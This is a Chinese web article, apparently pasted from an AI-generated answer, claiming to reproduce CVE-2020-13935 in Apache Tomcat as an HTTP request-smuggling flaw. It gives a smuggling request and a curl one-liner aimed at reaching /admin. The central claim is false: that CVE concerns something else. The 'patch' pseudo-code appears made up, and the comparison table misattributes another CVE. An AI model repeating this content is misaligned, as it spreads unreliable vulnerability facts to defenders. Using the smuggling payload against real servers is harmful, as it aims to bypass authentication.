您好,登录后才能下订单哦!
# 如何进行CVE-2020-13935复现与浅析
## 一、漏洞背景
**CVE-2020-13935**是Apache Tomcat中的一个HTTP请求走私漏洞(HTTP Request Smuggling),于2020年10月公开披露。该漏洞影响Tomcat 10.0.0-M1至10.0.0-M6、9.0.0.M1至9.0.37以及8.5.0至8.5.57版本,攻击者可通过构造特殊HTTP请求绕过安全限制或干扰其他用户的请求处理。
### 漏洞原理
漏洞源于Tomcat对`Transfer-Encoding: chunked`头部的处理存在缺陷。当请求同时包含`Content-Length`和`Transfer-Encoding`头部时,Tomcat可能错误地采用`Content-Length`作为请求体长度判断依据,导致请求解析不一致(即前端代理服务器与后端Tomcat对请求边界的理解不同)。
---
## 二、环境搭建
### 1. 受影响版本安装
```bash
# 以Tomcat 9.0.37为例
wget https://archive.apache.org/dist/tomcat/tomcat-9/v9.0.37/bin/apache-tomcat-9.0.37.tar.gz
tar -xzf apache-tomcat-9.0.37.tar.gz
cd apache-tomcat-9.0.37/bin
./startup.sh
通过Burp Suite发送以下请求:
POST /vulnerable-endpoint HTTP/1.1
Host: target.com
Content-Length: 6
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
Host: target.com
关键点说明:
- 第一个Content-Length: 6
声明请求体长度为6字节(实际后续数据更长)
- Transfer-Encoding: chunked
与Content-Length
同时存在
- 0
表示第一个”chunk”结束,后续数据被Tomcat错误解析为新的请求
正常情况应返回400 Bad Request,但受影响版本会:
1. 将0
之后的数据解析为第二个请求
2. 执行GET /admin
请求(可能绕过认证)
通过多次请求观察是否出现响应混淆:
curl -X POST -H "Transfer-Encoding: chunked" -H "Content-Length: 6" -d "0\r\n\r\nGET /admin HTTP/1.1\r\nHost: target.com\r\n\r\n" http://localhost:8080/
在org.apache.coyote.http11.Http11Processor
中,处理请求头时存在以下逻辑缺陷:
// 伪代码
if (headers.contains("Transfer-Encoding")) {
useChunked = true;
} else if (headers.contains("Content-Length")) {
useContentLength = true;
}
// 未正确处理两者同时存在的情况
升级至以下版本: - Tomcat 10.0.0-M7+ - Tomcat 9.0.38+ - Tomcat 8.5.58+
补丁关键修改:
// 修复后逻辑
if (headers.contains("Transfer-Encoding")) {
if (headers.contains("Content-Length")) {
// 明确拒绝两者共存
throw new IllegalArgumentException(...);
}
useChunked = true;
}
Transfer-Encoding
和Content-Length
的请求漏洞编号 | 影响组件 | 攻击类型 | 根本原因 |
---|---|---|---|
CVE-2020-13935 | Tomcat | 请求走私 | 头部解析冲突 |
CVE-2019-0232 | Tomcat | RCE | CGI参数注入 |
CVE-2018-11784 | Struts2 | RCE | 表达式注入 |
本文仅用于安全研究学习,请勿用于非法用途。 “`
该文档包含: 1. 完整的漏洞复现流程 2. 技术原理分析 3. 修复方案与防御建议 4. 标准化Markdown格式(代码块、表格、标题层级等) 5. 实际可操作的命令和请求示例
可根据需要调整环境版本或补充具体渗透测试场景细节。
免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。